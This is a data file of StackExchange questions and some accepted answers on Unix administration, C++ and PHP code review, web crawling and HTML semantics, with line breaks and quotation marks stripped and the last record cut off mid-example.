{  "id": "_unix.235615"  , "question": "Looking at etc/group and etc/passwd files, I see accounts listed in various groups in the etc/group file that do not appear in the etc/passwd files. Can these accounts still log in to the AIX server?"  , "title": "Can an AIX user that appears in etc/group but not etc/passwd still log into a server?"  , "tags": "aix;group;access control;passwd"  } 
{  "id": "_unix.337104"  , "question": "I have a Linux distro in my laptop, with 3.18.17, 32-bit Kernel.Running top has listed below output,I am aware a little about nice and renice of process in Linux. Looking into top, I understood there are 6 processes, which have nice value of -20. I am totally convinced why kworker, khelper and crypto have -20 nice value. Can anyone tell me what is kintegrityd and why it has -20 nice value?"  , "title": "What is kintegrityd and why it has -20 nice value?"  , "tags": "top;nice"  } 
{  "id": "_codereview.166363"  , "question": "I read about this game and tried to make my own algorithm to solve this.I asked it on StackOverflow for the appropriate algorithm and logic to solve this problem.With the help of answers over there and my modifications I implemented it,I posted my code there also and through suggestions in comments I was suggested to ask it here.Constraints I made: An N X N matrix having one empty slot ,say 0, would be plotted having numbers 0 to n-1.Now we have to recreate this matrix and form the matrix having numbers in increasing order from left to right beginning from the top row and have the last element 0 i.e. (N X Nth)element.For example,Input :8 4 07 2 51 3 6Output:1 2 34 5 67 8 0Now the problem is how to do this in minimum number of steps possible. As in game(link provided) you can either move left, right, up or bottom and shift the 0(empty slot) to corresponding position to make the final matrix.The output to printed for this algorithm is number of steps say M and then Tile(number) moved in the direction say,  1 for swapping with upper adjacent element, 2 for lower adjacent element, 3 for left adjacent element and 4 for right adjacent element.N could be in range [200,500]Like, for2     <--- order of N X N matrix3 10 2Answer should be: 3 4 1 2 where 3 is M and 4 1 2 are steps to tile movement.So I have to minimise the complexity for this algorithm and want to find minimum number of moves. Please suggest me the most efficient approach to solve this algorithm.It's taking too much time and I want to reduce its time complexity further and make it more efficient. Any suggestions would be appreciable.My code: // Program to print minimum moves from root node to destination node// for N*N -1 puzzle algorithm.// The solution assumes that instance of puzzle is solvable#include <iostream>#include <stdio.h>#include <string.h>#include <queue>using namespace std;//Some Global Declrationsint inDex=0,shift[100000],N,initial[500][500],final[500][500];// state space tree nodesstruct Node{    // stores parent node of current node    // helps in tracing path when answer is found    Node* parent;    // stores matrix    int mat[500][500];    // stores blank tile cordinates    int x, y;    // stores the number of misplaced tiles    int cost;    // stores the number of moves so far    int level;};// Function to allocate a new nodeNode* newNode(int mat[500][500], int x, int y, int newX,              int newY, int level, Node* parent){    Node* node = new Node;    // set pointer for path to root    node->parent = parent;    // copy data from parent node to current node    memcpy(node->mat, mat, sizeof node->mat);    // move tile by 1 postion    swap(node->mat[x][y], node->mat[newX][newY]);    // set number of misplaced tiles    node->cost = INT_MAX;    // set number of moves so far    node->level = level;    // update new blank tile cordinates    node->x = newX;    node->y = newY;    return node;}// bottom, left, top, rightint row[] = { 1, 0, -1, 0 };int col[] = { 0, -1, 0, 1 };// Function to calculate the the number of misplaced tiles// ie. number of non-blank tiles not in their goal positionint calculateCost(int initial[500][500], int final[500][500]){    int count = 0;    for (int i = 0; i < N; i++)      for (int j = 0; j < N; j++)        if (initial[i][j] && initial[i][j] != final[i][j])           count++;    return count;}// Function to check if (x, y) is a valid matrix coordinateint isSafe(int x, int y){    return (x >= 0 && x < N && y >= 0 && y < N);}// Comparison object to be used to order the heapstruct comp{    bool operator()(const Node* lhs, const Node* rhs) const    {        return (lhs->cost + lhs->level) > (rhs->cost + rhs->level);    }};// Function to solve N*N - 1 puzzle algorithm using// Branch and Bound. x and y are blank tile coordinates// in initial statevoid solve(int initial[500][500], int x, int y,           int final[500][500]){    // Create a priority queue to store live nodes of    // search tree;    priority_queue<Node*, std::vector<Node*>, comp> pq;    // create a root node and calculate its cost    Node* root = newNode(initial, x, y, x, y, 0, NULL);    root->cost = calculateCost(initial, final);    // Storing the previous node    Node* prev = newNode(initial,x,y,x,y,0,NULL);    // Add root to list of live nodes    pq.push(root);    // Finds a live node with least cost,    // add its children to list of live nodes and    // finally deletes it from the list.    while (!pq.empty())    {        // Find a live node with least estimated cost        Node* min = pq.top();        // Store the shifts 1,2,3,4 for top,bottom,left and right respectively.        if(min->x > prev->x)        {            shift[inDex] = 4;            inDex++;        }        else if(min->x < prev->x)        {            shift[inDex] = 3;            inDex++;        }        else if(min->y > prev->y)        {            shift[inDex] = 2;            inDex++;        }        else if(min->y < prev->y)        {            shift[inDex] = 1;            inDex++;        }        prev = pq.top();        // The found node is deleted from the list of        // live nodes        pq.pop();        if (min->cost == 0)        {            // Print the number of moves            cout << min->level << endl;            return;        }        // do for each child of min        // max 4 children for a node        for (int i = 0; i < 4; i++)        {            if (isSafe(min->x + row[i], min->y + col[i]))            {                // create a child node and calculate                // its cost                Node* child = newNode(min->mat, min->x,                              min->y, min->x + row[i],                              min->y + col[i],                              min->level + 1, min);                child->cost = calculateCost(child->mat, final);                // Add child to list of live nodes                pq.push(child);            }        }    }}int main(void){    cin >> N;    // Initial configuration    int i,j,k=1;    for(i=0;i<N;i++)    {        for(j=0;j<N;j++)        {            cin >> initial[j][i];        }    }    // Putting numbers from 1 in increasing order.    for(i=0;i<N;i++)    {        for(j=0;j<N;j++)        {            final[j][i] = k;            k++;        }    }    // Value 0 is used for empty space    final[N-1][N-1] = 0;    int x = 0, y = 1,a[100][100];    solve(initial, x, y, final);    // Printing the steps taken while moving tiles.    for(i=0;i<inDex;i++)    {        cout << shift[i] << endl;    }    return 0;}Input:23 10 2Output:3142"  , "title": "Minimum number of moves to solve game of fifteen"  , "tags": "c++;algorithm;time limit exceeded;matrix;sliding tile puzzle"  } 
{  "id": "_unix.120856"  , "question": "I need to display the complete address with curl, when it find results with '301' status code.This is my variable.search=$(curl -s --head -w %{http_code} https://launchpad.net/~[a-z]/+archive/pipelight -o /dev/null | sed 's#404##g') echo $search301The above works, but only display if the site exists with '301' status code.I wantecho $searchhttps://launchpad.net/~mqchael/+archive/pipelightUPDATEThis is my new variable, maybe can explain what I need. This variable will help me to search and install a ppa in Ubuntu o similar.ppa=$(curl https://launchpad.net/ubuntu/+ppas?name_filter=$packagename | grep '<td><a href=/~' | grep >$packagename< )echo $ppaExample:ppa=$(curl https://launchpad.net/ubuntu/+ppas?name_filter=Pipelight | grep '<td><a href=/~' | grep >Pipelight< )echo $ppa <td><a href=/~mqchael/+archive/pipelight>Pipelight</a></td>The problem here is I can't extract mqchael (this name is variable), also pipelight is only a example. This is the format final when I will apply my variable.ppa:mqchael/pipelight"  , "title": "How to display the complete address with curl in searching?"  , "tags": "curl"  , "accepted_answer": "This should do what you want:curl https://launchpad.net/ubuntu/+ppas?name_filter=Pipelight |  awk -F/ '/>Pipelight</{print $2}'Explanation:The -F/ sets the filed delimiter to /, and the />Pipelight</ means run the commands in the {} only on lines matching >Pipelight<. So, at least in the example you posted, the line with >Pipelight< is:<td><a href=/~mqchael/+archive/pipelight>Pipelight</a></td>So, since awk is splitting on /, the first field will be <td><a href= and the second will be ~mqchael. Which is why {print $2} will print ~mqchael. If you also want to get rid of the tilde (~), use this:curl https://launchpad.net/ubuntu/+ppas?name_filter=Pipelight |      awk -F/ '/>Pipelight</{print $2}' | sed 's/~//'"  } 
{  "id": "_unix.313093"  , "question": "I use zsh's menu-based tab completion. I press Tab once, and a list of possible completions appears. If I press Tab again, I can navigate this list with the arrow keys. However, is it possible to navigate them with the vi-like H, J, K, L keys instead?I use emacs mode for command-line input, with bindkey -e in ~/.zshrc. I also use zim with zsh. If relevant, the commands that specify the tab-completion system are here."  , "title": "Can I navigate zsh's tab-completion menu with vi-like hjkl keys?"  , "tags": "zsh;autocomplete;line editor"  , "accepted_answer": "Yes, you can by enabling menu select:zstyle ':completion:*' menu selectzmodload zsh/complist...# use the vi navigation keys in menu completionbindkey -M menuselect 'h' vi-backward-charbindkey -M menuselect 'k' vi-up-line-or-historybindkey -M menuselect 'l' vi-forward-charbindkey -M menuselect 'j' vi-down-line-or-history"  } 
{  "id": "_softwareengineering.221338"  , "question": "When we look at the the overlap between the Ruby Community - we see the following overlaps:Think Relevance (now Cognitect) has switched from Ruby to ClojureJay Fields has switched from Ruby to ClojureDavid Chelimsky - author of RSpec - has left the Ruby RSpec project to join CognitectIs there some linguistic similarity that has lead to this crossover?"  , "title": "Is there a reason for the crossover from the Ruby community to the Clojure Community?"  , "tags": "ruby;clojure"  , "accepted_answer": "In a way, Ruby is a stealth lisp. It allows (and encourages) more metaprogramming than most other languages of its class, even the directly comparable Python. I am thinking here of the famous post, Ruby is an Acceptable Lisp. There are limitations, however; functions are not really first-class objects (calling a lambda or a Proc is horrific, for example), you can't truly redefine the language as you can with macros, and so on.It makes sense that people who are attracted to Ruby, which has until this point been the most practical and popular language that encouraged a lot of metaprogramming, would be attracted to a language which has better libraries (via the JVM), runs faster than Ruby, is truly functional, is dynamically typed, and encourages metaprogramming to an even greater degree than Ruby. I would hypothesize that you'll also see a greater crossover from the Python and Haskell communities to Scala."  } 
{  "id": "_cs.74787"  , "question": "I'm currently studying computer architectures module, and during the workshop I came a across a series of questions that I struggled to being to answer.The question goes;*You have an L1 data cache, L2 cache, and main memory. The hit rates and hit times foreach are:50% hit rate, 2 cycle hit time to L1.70% hit rate, 15 cycle hit time to L2.100% hit rate, 200 cycle hit time to main memory.What fraction of accesses are serviced from L2? From main memory?My answer: (200*0.7)/15 = 9.3To be completely honest, I don't know how to approach these type's of questions, I'd be grateful if someone could point me to resources."  , "title": "Calculating fractions of accesses from various levels of memory? (L2 - Main)"  , "tags": "cpu cache;memory access"  , "accepted_answer": "The order of accesses is L1 &rightarrow; L2 (&rightarrow; L3) &rightarrow; main memory. The chance of missing is $1 - p$ where $p$ is the hit chance.In order for an access to hit L2 cache, it must have missed the L1 cache, and hit the L2 cache. So the chance is $(1 - 0.5) \\cdot 0.7 = 0.35$.In order for an access to hit main memory, it must have missed the L1 cache, missed L2 cache and hit main memory. So the chance is $(1 - 0.5)\\cdot (1 - 0.7) \\cdot 1 = 0.15$."  } 
{  "id": "_webmaster.58095"  , "question": "I have a robots.txt with the following in it:    User-agent: *Disallow: http://tests.compkerworld.com/report_question_error.php?question_id=*&url=*Sitemap: http://tests.compkerworld.com/sitemap.xmlMy sitemap.xml, which is auto-generated, has all the URLs even those disallowed using robots.txt. I have no problem if the search engines crawl all the pages, but I want to know if such an entry will create any kind of conflict for crawlers.One more question: is the above syntax for disallowing correct?"  , "title": "Will there be a conflict between my Sitemap.xml and robots.txt?"  , "tags": "sitemap;web crawlers;robots.txt;xml sitemap"  } 
{  "id": "_softwareengineering.91984"  , "question": "If I was interested in interview questions like Describe how you explained a difficult technical issue to a non-technical person I would use the Googles to search on communication skill interview questions.. But, what I really would like is to have someone actually explain to me some sort of relatively difficult technical issue. So I'm interested in are answers that identify a useful topic for this purpose or examples of what others have do to create scenarios for the purpose of evaluating a candidate's communications. In other words some exercise that actually forces the candidate to communicate something challenging rather than describe some time in their past when they were required to do so.  "  , "title": "How to Evaluate a Programmer's Communication Skills"  , "tags": "interview;communication"  , "accepted_answer": "Agree with many of the comments, that this seems overly contrived/complicated but...It seems you have a few choicesAsk a question from a domain outside of the field of expertise - Explain how a transmission works  Which helps you see how they communicate their understanding of black box systems.Ask a question from inside the programming domain - Explain how distributed version control works  Which helps you understand how they understand something you both know and have experience in.Ask a question that targets their understanding but not yours - Explain to me the X algorithm/system/interaction you worked on for those five years from 2003-2008  Which helps you understand how they communicate their (deep) understanding to a novice.  (note - you can also separately test for correctness of their understanding in another part of the interview, you don't need to test for communication and correctness together)I'm probably missing one or two :-) "  } 
{  "id": "_codereview.173434"  , "question": "I am trying to send a message consisting of a few byte using visual studios c++. The device requires serial communication and I am using array Byte^.The message to be send should start with 02 ASCII(h) i.e. STX. This is followed by 'A1C0' which when send using array would correspond to 0x41, 0x31, 0x43, 0x30 in ASCII(h).  The other user input value is for a variable kV which is converted into hex after user provide it; e.g. if a user enter 7700, my code is supposed to convert it to a string of hex i.e. '1E14' which when sent using array should correspond to 0x31, 0x45, 0x31, 0x34.The issue I am faced with is that to calculate the checksum, I am required to add all the ASCII(h) which my array consist of and then take the totals one complement. I am struggling to add all these ASCII(h) primarily because I am sending A1C0 and 1E14 as hex and depends on computer to interpret them in ASCII(h). In this situation I am struggling, with how to add all these ASCII(h) which in described case would require me to add ASCII(h): 2+41+31+43+30+31+45+31+34 = 1C2 and then take the totals ones complement i.e 3D which in ASCII(h) is represented 0x33, 0x44. Following the checksum,  I am required to send 03, i.e. ETX to tell the device that the message has ended. So the complete message to be send will contain STX, A1C0, kV, checksum and ETX which from my given explanation in this example will look like: 0x02, 0x41, 0x31, 0x43, 0x30, 0x31, 0x45, 0x31, 0x34, 0x33, 0x44, 0x03. I know to add elements in an array, but that is not simply what I want here. Before reaching out here: I tried to also look online, but was not able to accomplish correctly what I wanted from these links:https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b85f124-d9de-46d5-a569-aecf08146f3a/sum-of-char-array-as-bytes?forum=vcgeneral http://forums.codeguru.com/showthread.php?383059-Perform-hex-addition-in-C-C I will really appreciate some help here! My current code is below:static void message(SerialPort^ port){array<Byte>^ message = gcnew array<Byte>message[0] = 0x02;                           // STXmessage[1] = 'A1C0';                         // A1C0 in ASCII(h) represents 0X41, 0x31, 0x43, 0x30kV<< std::hex << decimal_value;              // user entered int decimal_value for kV using Cin - for example user entered 7700, converted to hex --- hex value of 7700 is 1E14std::string power ( kV.str() );message[2] = power;       // ASCII(h) of power (which is hex 1E14) represents 0x31, 0x45, 0x31, 0x34unsigned short CHKSUM = ???;      // PROBLEM: Calculating total --- adding all the Ascii(h) bytes in the array togethercout << hex << CHKSUM << endl;  CHKSUM = ~CHKSUM;                 // Take one's complement  cout << hex << CHKSUM << endl;std::stringstream CHKSUM;message[3] = CHKSUM;message[4] = 0x03;                          // ETXport->Write(message, 0, message->Length);}"  , "title": "Visual C++: Adding together ASCII(h) representation of bytes in a array"  , "tags": "beginner;array;serial port;c++ cli"  } 
{  "id": "_unix.20825"  , "question": "I'm a long term Ubuntu user who is considering migrating from Ubuntu to Debian (mainly because of Unity and the fact that my school has a Debian mirror). I haven't installed Debian on a system before. But again, I am fairly comfortable with reading manuals and working with the command line. Here is my installation plan (after spending some time reading the Debian wiki):Download the Live CD image and use dd to make a Live USB (I think this is the easiest way?)Install DebianConfigure repos using debgenPost-installIt is the post install part I am most confused about. I'd like to know some specific things:Is there an alternative package to ubuntu-restricted-extras on Debian?What the best way to get around with the font smoothing problem in Debian?How much functionality can I expect from Ubuntu Tweak on Debian?Any other tips are also welcome. I found a solution to the font rendering problem here"  , "title": "Migrating from Ubuntu to Debian"  , "tags": "ubuntu;debian;system installation"  , "accepted_answer": "Speaking as a long time Debian user I say take the plunge. You're familiar with Ubuntu, so there will be a lot you're already comfortable with. Don't expect to get 100% feature parity on day one though.Some specific answers:ubuntu-restricted-extras looks like it's basically Flash and gstreamer plugins. For flash, just install flashplugin-nonfree or get it right from Adobe and plop it into Firefox. For the gstreamer plugins there are unofficial sources available (although I don't know exactly where) for multimedia packages.There's a post here about font smoothing on Debian. I've never tried it, but the author claims it works well.Ubuntu Tweak is all stuff that Debian folks generally prefer to do manually. You'll learn a lot, and have fun doing it.And a final note, don't bother using debgen. Just use the Debian mirror for the country you're in (e.g., the U.S. is ftp.us.debian.org). After install your school's mirror to /etc/apt/sources.list."  } 
{  "id": "_unix.205128"  , "question": "I'm learning Linux, and I'm a little confused right now. In the below screenshot, I was not able to understand the third shortcut of Table 2-1.It says that cd ~user_name will change the working directory to the home directory of the user_name. But, when I entered this command, I was in the same directory i.e, ~$ and not in /home$. Why?Are they both same ?I think the formal one is the user directory and the later one is the home directory.Sorry if I asked something foolish, and thank you in advance! "  , "title": "What is the difference between home$ and ~$?"  , "tags": "linux;ubuntu;command line;directory;directory structure"  } 
{  "id": "_softwareengineering.325844"  , "question": "I have a question about what the best design pattern to use would be. I have 2 specific scenarios, the first one fits neatly into a Unit of Work(UoW) pattern. The second is a little bit more fiddly. Basically, in certain business scenarios, I have a need to save some data even if all others information fails to save due (reasons not including database server going down). For example, we get information about people having paid balances on their account. So the first table we save information to is the Payments table, before moving on to saving other entities including audit rows. However, we consider the audit rows to be less important than having a record inserted about the payment having been made. Using the traditional UOW pattern, the rollback would not allow us to commit the Payment record either.So I'm a little bit stuck as to how I would implement such a mechanism without having multiple patterns in our domain layer.I have also considered having the important records be their own UoW and then the audit records as a separate UoW. What would be considered the better way forward? Our basic stack is  C#, MVC, Entity Framework and AutofacAny guidance would definitely be appreciated. "  , "title": "Best design pattern for two specific scenarios, the first one fits neatly into a Unit of Work(UoW) pattern"  , "tags": "c#;design;design patterns;unit of work"  } 
{  "id": "_unix.158501"  , "question": "I have extracted a large (3.9GB) tar.bz2 file using the following command:tar -xjvf archive.tar.bz2The extract proceeds fines but exits printing:bzip2: (stdin): trailing garbage after EOF ignoredIs there a problem with the archive/extract? Has the integrity of my data been compromised?"  , "title": "tar exits with bzip2: (stdin): trailing garbage after EOF ignored after extract"  , "tags": "tar;bzip2"  , "accepted_answer": "trailing garbage means there is extraneous data at the end of the file that is not part of the bz2 format; so bz2 can't make any sense of the additional data (hence garbage).If you want to provoke the error:$ echo Hello World | bzip2 > helloworld.bz2$ echo Something not bzip2... >> helloworld.bz2$ bunzip2 < helloworld.bz2Hello Worldbunzip2: (stdin): trailing garbage after EOF ignoredThe first command creates a valid bzip2 file that contains the message Hello World.The second command appends Something not bzip2... to the bzip2 file. This is trailing garbage because it's not bzip2 compressed.Running that through bunzip2 produces the valid data, but prints a warning about the extraneous, ignored data.In the end, the data that was originally compressed is still intact, but something odd happened at the end of the file. It may be worth looking at it in a hex editor; sometimes you can tell what happened, sometimes you can't.$ hexdump -C helloworld.bz2 00000000  42 5a 68 39 31 41 59 26  53 59 d8 72 01 2f 00 00  |BZh91AY&SY.r./..|00000010  01 57 80 00 10 40 00 00  40 00 80 06 04 90 00 20  |.W...@..@...... |00000020  00 22 06 86 d4 20 c9 88  c7 69 e8 28 1f 8b b9 22  |.... ...i.(...|00000030  9c 28 48 6c 39 00 97 80  53 6f 6d 65 74 68 69 6e  |.(Hl9...Somethin|00000040  67 20 6e 6f 74 20 62 7a  69 70 32 2e 2e 2e 0a     |g not bzip2....|This example is obvious, since you usually do not see plain text like this in bzip2 compressed data.The big question is whether the garbage was appended (like in the example above, leaving the original data intact), or if some kind of corruption happened. It's impossible to tell from the error message (bzip2 itself does not really know); however if it was a random corruption, you'd usually see some tar error messages too."  } 
{  "id": "_unix.234819"  , "question": "I've got a directory, containing lots of weekly generated files with names like db_20130101_foo.tgz db_20130108_foo.tgz db_20130115_foo.tgz ...and so on. Over the years, the disks will get pretty full. As the files contain data for several weeks, we can remove older files. I want to remove every file, but always keep the last file of each month. How will i be able to accomplish this, without having to copy & paste filenames manually to rm, which is a lot of work and pretty error-prone?"  , "title": "Remove all but the latest backup file monthwise"  , "tags": "shell;scripting;regular expression;backup"  , "accepted_answer": "This oneliner will give you the files you want to delete:(ls -1 db_*_foo.tgz; echo) | awk '{prevym=ym; prevfile=file; ym=substr($0,4,6); file=$0; if (ym==prevym)print prevfile}'The first part just lists ALL the files (and adds an extra line to the end of the list, to simplify the later awk command).  The awk part just checks each line to see if the ym (yearmonth) changed from one line to the next.Test and make sure that the above lists the files you DO want to delete.  Then, to delete all of the files, simply pipe the command into:...ABOVE_COMMAND... | xargs rm"  } 
{  "id": "_unix.117751"  , "question": "When I type command groups ubuntu, the output would we like,ubuntu : ubuntu adm dialout cdrom floppy audio dip video plugdev netdev adminI am interested in the cdrom group. What does the group cdrom mean? It means user ubuntu can use cdrom device in the OS? If a user who is not in the group cdrom, can he/she use cdrom device in the OS?"  , "title": "Confusion about group `cdrom` in linux system"  , "tags": "devices;group;data cd"  } 
{  "id": "_webmaster.103156"  , "question": "is there any way to see the data sent by the browser without firebug? Some other tool? I need to see which data is sent by the browser in some websites and the firebug console sometimes is blank. I've read somewhere that if the script writes to the console variable , the console wont show anything. "  , "title": "Seeing data sent by the browser without firebug"  , "tags": "browsers;post"  } 
{  "id": "_unix.280099"  , "question": "HTTP stream from my MPD lags, i.e. audio from Pulse and HTTP output are not in sync, with HTTP output lagging Pulse. This also means that starting/pausing/stopping music from MPD is not reflected immediately on the HTTP stream. Also, the perceived lag on HTTP stream keeps increasing with time. When I first start MPD, the lag is ~2sec, but this balloons to almost half a minute after playing continuously for an hour or so.Following is the setup from my ~/.mpdconfaudio_output {    type pulse    name My Pulse Output}audio_output {    type        httpd    name        My HTTP Stream    encoder     vorbis        # optional, vorbis or lame    port        6601    bind_to_address any       # optional, IPv4 or IPv6#   quality     5.0           # do not define if bitrate is defined    bitrate     128           # do not define if quality is defined    format      44100:16:1#   max_clients 0         # optional 0=no limit    always_on   yes}"  , "title": "Music Player Daemon MPD - Lagging HTTP stream"  , "tags": "ubuntu;audio;mpd"  } 
{  "id": "_unix.234151"  , "question": "I'm running sudo-1.8.6 on CentOS 6.5. My question is very simple: How do I prevent SHELL from propagating from a user's environment to a sudo environment?Usually people are going the other way- they want to preserve an environment variable. However, I am having an issue where my user zabbix whose shell is /sbin/nologin tries to run a command via sudo. Sudo is preserving the /sbin/nologin so that root cannot run subshells. (Update: This part is true, but it is not the SHELL environment variable. It is the shell value that is being pulled from /etc/passwd that is the problem.)I include a test that illustrates the problem; this is not my real-world use case but it simply illustrates that the calling user's SHELL is preserved. I have a program that runs as user zabbix. It calls /usr/bin/sudo -u root /tmp/doit (the programming running as zabbix is a daemon, so the /sbin/nologin shell in the password file does not prevent it). /tmp/doit is a shell script that simply has:#!/bin/shenv > /tmp/outfile(its mode is 755, obviously). In outfile I can see that SHELL is /sbin/nologin. However, at this point the script is running as root, via sudo, so it should not have the previous user's environment variables, right?Here is my /etc/sudoers:Defaults    requirettyDefaults   !visiblepwDefaults    always_set_homeDefaults    env_resetDefaults    env_keep =  COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORSDefaults    env_keep += MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPEDefaults    env_keep += LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGESDefaults    env_keep += LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONEDefaults    env_keep += LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITYDefaults    secure_path = /sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin## Allow root to run any commands anywhere root    ALL=(ALL)       ALL#includedir /etc/sudoers.dAnd here is my /etc/sudoers.d/zabbix:Defaults:zabbix !requirettyzabbix    ALL=(root) NOPASSWD:       /tmp/doitEdit: A little more information:The process running the sudo is zabbix_agentd, from the Zabbix monitoring software. There is an entry in the /etc/zabbix/zabbix_agentd.d/userparameter_disk.conf file which looks like:UserParameter=example.disk.discovery,/usr/local/bin/zabbix_raid_discovery/usr/local/bin/zabbix_raid_discovery is a Python script. I have modified it to simply do this:print subprocess.check_output(['/usr/bin/sudo', '-u', 'root', '/tmp/doit'])/tmp/doit simply does this:#!/bin/shenv >> /tmp/outfileI run the following on my Zabbix server to run the /usr/local/bin/zabbix_raid_discovery script:zabbix_get -s client_hostname -k 'example.disk.discovery'Then I check the /tmp/outfile, and I see:SHELL=/sbin/nologinTERM=linuxUSER=rootSUDO_USER=zabbixSUDO_UID=497USERNAME=rootPATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbinMAIL=/var/mail/rootPWD=/LANG=en_US.UTF-8SHLVL=1SUDO_COMMAND=/tmp/doitHOME=/rootLOGNAME=rootSUDO_GID=497_=/bin/envThat SHELL line really bugs me. The file is owned by root, so I know it's being created by the root user, but the shell is from the calling user (zabbix)."  , "title": "How to prevent the caller's shell from being used in sudo"  , "tags": "bash;sudo;environment variables"  , "accepted_answer": "Then answer is that sudo has a bug. First, the workaround: I put this in my /etc/sudoers.d/zabbix file:zabbix    ALL=(root) NOPASSWD:       /bin/env SHELL=/bin/sh /usr/local/bin/zabbix_raid_discoveryand now subcommands called from zabbix_raid_discovery work.A patch to fix this will be in sudo 1.8.15. From the maintainer, Todd Miller:This is just a case of it's always been like that.  There's notreally a good reason for it.  The diff below should make the behaviormatch the documentation. - todddiff -r adb927ad5e86 plugins/sudoers/env.c--- a/plugins/sudoers/env.c     Tue Oct 06 09:33:27 2015 -0600+++ b/plugins/sudoers/env.c     Tue Oct 06 10:04:03 2015 -0600@@ -939,8 +939,6 @@            CHECK_SETENV2(USERNAME, runas_pw->pw_name,                ISSET(didvar, DID_USERNAME), true);        } else {-           if (!ISSET(didvar, DID_SHELL))-               CHECK_SETENV2(SHELL, sudo_user.pw->pw_shell, false, true);            /* We will set LOGNAME later in the def_set_logname case. */            if (!def_set_logname) {                if (!ISSET(didvar, DID_LOGNAME))@@ -984,6 +982,8 @@            if (!env_should_delete(*ep)) {                if (strncmp(*ep, SUDO_PS1=, 9) == 0)                    ps1 = *ep + 5;+               else if (strncmp(*ep, SHELL=, 6) == 0)+                   SET(didvar, DID_SHELL);                else if (strncmp(*ep, PATH=, 5) == 0)                    SET(didvar, DID_PATH);                else if (strncmp(*ep, TERM=, 5) == 0)@@ -1039,7 +1039,9 @@     if (reset_home)        CHECK_SETENV2(HOME, runas_pw->pw_dir, true, true);-    /* Provide default values for $TERM and $PATH if they are not set. */+    /* Provide default values for $SHELL, $TERM and $PATH if not set. */+    if (!ISSET(didvar, DID_SHELL))+       CHECK_SETENV2(SHELL, runas_pw->pw_shell, false, false);     if (!ISSET(didvar, DID_TERM))        CHECK_PUTENV(TERM=unknown, false, false);     if (!ISSET(didvar, DID_PATH))"  } 
{  "id": "_codereview.69847"  , "question": "I have a table in my database with 35000 unique URLs. I use them to create my XML sitemaps for the site. I have setup crontab jobs to create automatically new URLs, delete non existing URLs and determine if a URL is valid.For the last part I use the following function:function get_url_status($url){    $httpCode = 0;    $headers = get_headers($url);    $http_header_info = $headers[0];    $httpCode = substr($http_header_info, 9, 3);    if ($httpCode=='200')    {        // check in page for noindex and dissable that url        $metas = get_meta_tags($url);        if ( isset($metas['robots']) && strpos( strtolower($metas['robots']),  'noindex')!==false  )        {            $httpCode = 410;        }    }return $httpCode;}This will return to me the HTTP status code - 200 for legal URLs that will be included in sitemap, 400 for not found, 410 for URLs with noindex in them, 301 for redirections, etc.In my XML sitemaps I include only URLs with status code 200.My problem is that this function takes around 40 minutes to check the URLs in database. Is there a way to speed things up?"  , "title": "Detecting headers status takes too long"  , "tags": "php;performance;http"  } 
{  "id": "_unix.226843"  , "question": "At first, there is no key mapping. The Caps Lock key on my keyboard behaves as Caps Lock.lone@debian:~$ xmodmap -pke | grep Caps_Lockkeycode  66 = Caps_Lock NoSymbol Caps_Locklone@debian:~$ xmodmap -pm | grep locklock        Caps_Lock (0x42)Then I remap my Caps Lock key to function as Escape key.lone@debian:~$ xmodmap -e remove Lock = Caps_Lock -e keycode 66 = Escapelone@debian:~$ xmodmap -pke | grep Caps_Locklone@debian:~$ xmodmap -pm | grep locklockNow when I press the Caps Lock key, I see it behaving like Escape key. I tested this in vi editor.Now I map the Caps Lock key to behave again as Caps Lock key.lone@debian:~$ xmodmap -e keycode 66 = Caps_Locklone@debian:~$ xmodmap -pke | grep Caps_Lockkeycode  66 = Caps_Lock NoSymbol Caps_Locklone@debian:~$ xmodmap -pm | grep locklockNow when I press the Caps Lock key, it indeed behaves as Caps Lock. My question is: Why wasn't it necessary to perform add Lock = Caps_Lock again to make the Caps Lock key behave as Caps Lock.The above output shows that there is no key set to 'lock' modifier. How is it that the Caps Lock key behaves like Caps Lock key then?"  , "title": "Why does Caps Lock key behave as Caps Lock key without the Lock modifier?"  , "tags": "x11;xmodmap"  } 
{  "id": "_webmaster.76399"  , "question": "I have noticed that Groupon.com or Zillow.com knows what city I am located in quite reliably and without asking permission.Does anyone know what they or similar big players do to get your location? Are they using private ip-based databases or something else? I need to know what city a user is in, are there any online services that I can use to get a user's location for free? "  , "title": "How do websites such as Groupon or Zillow detect user location?"  , "tags": "geolocation"  , "accepted_answer": "They are most likely using geolocation by IP address or hostname. There are many services that provide data for this. One that I know of that's easy to use is http://freegeoip.net. They have an API that you can call 10,000 times per hour to get geolocation data.For example, if you make an HTTP GET request to http://freegeoip.net/json/stackoverlow.com, you can get data back in multiple formats. This example returns JSON:{    ip: 69.172.201.208,    country_code: US,    country_name: United States,    region_code: NY,    region_name: New York,    city: New York,    zip_code: 10004,    time_zone: America/New_York,    latitude: 40.689,    longitude: -74.021,    metro_code: 501}"  } 
{  "id": "_webmaster.29259"  , "question": "The target is to provide the proper semantic for a page that briefly lists existent articles.At the moment my idea is the following:<body>  <article>    <header>      <h1>Latest Articles</h1>    </header>    <article>      <header>        <h1><a href=/article-1>First Article's Heading</a></h1>        <p>First article's brief description.</p>      </header>    </article>    <article>      <header>        <h1><a href=/article-2>Second Article's Heading</a></h1>        <p>Second article's brief description.</p>      </header>    </article>    <article>      <header>        <h1><a href=/article-3>Third Article's Heading</a></h1>        <p>Third article's brief description.</p>      </header>    </article>  </article></body>The page (let's call it an archive page) has the main article element containing children articles.Each child has only header because the article does not represent the full version but just a brief.Please, tell me if my version is semantically right (and why it is). Otherwise, propose your version.UPDATED (AFTER THE ANSWER WAS ACCEPTED)Example above is not full what may confuse and cause misunderstanding.I'll try to clear this providing a fuller example with comments.<body>  <!-- Header is the same for all pages. -->  <header>    <h1>Website Title</h1>    <p>Website description.</p>  </header>  <!-- Article presents the main content of specific page. -->  <article>    <header>      <h1>Latest Articles</h1>      <p>Last three articles in chronological order.</p>    </header>    <!-- This page lists existent articles. -->    <!-- They are not inside a section element because it isn't a section of something larger but independent articles. -->    <article>      <header>        <h1>First Article's Heading</h1>        <p>Supplement to the first article's heading.</p>        